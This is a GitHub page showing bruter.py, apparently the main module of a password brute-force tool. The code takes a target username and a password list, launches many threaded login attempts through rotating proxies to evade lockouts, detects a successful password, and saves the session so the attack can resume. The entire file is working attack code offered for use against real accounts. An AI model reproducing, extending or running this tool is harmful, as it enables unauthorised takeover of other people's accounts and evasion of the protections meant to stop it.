-
-
Notifications
You must be signed in to change notification settings - Fork 4
/
Copy pathbruter.py
264 lines (203 loc) · 8.31 KB
/
bruter.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
import queue
import time
import threading
import typing
from lib.browser import Browser
from lib.display import Display
from lib.proxy_manager import ProxyManager
from lib.password_manager import PasswordManager
from lib.const import max_time_to_wait, max_bots_per_proxy
class Bruter(object):
def __init__(self, username: str, threads: int, passlist_path: str):
self.is_alive = True
self.is_found = False
self.password: str = None
self.username: str = username
self.last_password: str = None
self.bots_per_proxy = 0
self.total_threads: int = threads
self.proxy_manager = ProxyManager()
self.display = Display(username, passlist_path)
self.password_manager = PasswordManager(
username, passlist_path, threads, self.display
)
self.browsers: typing.List[Browser] = []
self.active_passwords: typing.List[str] = []
self.unstarted_browsers: typing.List[Browser] = []
# Locks
self.lock_browsers = threading.RLock()
self.lock_unstarted_browsers = threading.RLock()
self.lock_active_passwords = threading.RLock()
self.lock_password_manager = threading.RLock()
def manage_session(self):
if self.password_manager.is_read:
if not self.password_manager.list_size or self.is_found:
self.password_manager.session.delete()
else:
if self.is_found:
self.password_manager.session.delete()
else:
self.password_manager.session.write(
self.password_manager.attempts,
self.password_manager.passlist,
)
def browser_manager(self):
while self.is_alive:
browsers: typing.List[Browser] = []
with self.lock_browsers:
browsers = [br for br in self.browsers]
for browser in browsers:
if not self.is_alive:
break
if (
Display.account_exists == None
and Browser.account_exists != None
):
Display.account_exists = Browser.account_exists
if not browser.is_active:
if browser.is_attempted and not browser.is_locked:
if browser.is_found and not self.is_found:
self.password = browser.password
self.is_found = True
with self.lock_password_manager:
self.password_manager.list_remove(browser.password)
self.remove_browser(browser)
else:
if browser.start_time:
if (
time.time() - browser.start_time
>= max_time_to_wait
):
browser.close()
with self.lock_active_passwords:
try:
self.active_passwords.remove(
browser.password
)
except ValueError:
pass
def prune_browsers(self, browser) -> None:
"""Remove all the browsers with the same password as the given browser"""
with self.lock_browsers:
for br in list(self.browsers):
if br == browser:
continue
if br.password != browser.password:
continue
try:
self.browsers.remove(br)
except ValueError:
pass
br.close()
br.proxy.decr_usage()
self.proxy_manager.dispose(br.proxy)
with self.lock_unstarted_browsers:
for br in list(self.unstarted_browsers):
if br.password == browser.password:
try:
self.unstarted_browsers.remove(br)
except ValueError:
pass
def remove_browser(self, browser: Browser) -> None:
self.proxy_manager.dispose(browser.proxy)
with self.lock_browsers:
try:
self.browsers.remove(browser)
except ValueError:
pass
with self.lock_active_passwords:
try:
self.active_passwords.remove(browser.password)
except ValueError:
pass
if browser.is_attempted:
self.prune_browsers(browser)
def attack(self):
attack_started = False
proxy_per_pwd = 3
while self.is_alive:
for pwd in self.password_manager.passlist:
if not self.is_alive:
break
with self.lock_unstarted_browsers:
if len(self.unstarted_browsers) >= self.total_threads:
break
with self.lock_active_passwords:
if pwd in self.active_passwords:
continue
is_added = False
for _ in range(proxy_per_pwd):
with self.lock_unstarted_browsers:
if len(self.unstarted_browsers) >= self.total_threads:
break
proxy = self.proxy_manager.get_proxy()
if not proxy:
continue
with self.lock_unstarted_browsers:
self.unstarted_browsers.append(
Browser(self.username, pwd, proxy)
)
is_added = True
if not is_added:
break
with self.lock_active_passwords:
self.active_passwords.append(pwd)
if not attack_started:
self.display.info("Starting attack...")
attack_started = True
with self.lock_unstarted_browsers:
for br in list(self.unstarted_browsers):
with self.lock_browsers:
if len(self.browsers) >= self.total_threads:
break
else:
self.browsers.append(br)
self.unstarted_browsers.remove(br)
threading.Thread(target=br.attempt, daemon=True).start()
def start_daemon_threads(self):
attack = threading.Thread(target=self.attack)
browser_manager = threading.Thread(target=self.browser_manager)
password_manager = threading.Thread(target=self.password_manager.start)
attack.daemon = True
browser_manager.daemon = True
password_manager.daemon = True
attack.start()
browser_manager.start()
password_manager.start()
def stop_daemon_threads(self):
self.password_manager.stop()
def start(self):
self.display.info("Initiating daemon threads...")
self.start_daemon_threads()
last_attempt = 0
while self.is_alive and not self.is_found:
if (
last_attempt == self.password_manager.attempts
and self.password_manager.attempts
):
time.sleep(0.65)
continue
browsers = []
with self.lock_browsers:
browsers = [br for br in self.browsers]
for browser in browsers:
self.display.stats(
browser.password,
self.password_manager.attempts,
len(self.browsers),
)
last_attempt = self.password_manager.attempts
self.last_password = browser.password
if not self.is_alive or self.is_found:
break
if (
self.password_manager.is_read
and not self.password_manager.list_size
and not len(self.browsers)
):
self.is_alive = False
def stop(self):
self.is_alive = False
self.manage_session()
self.stop_daemon_threads()
self.password_manager.session.is_busy = False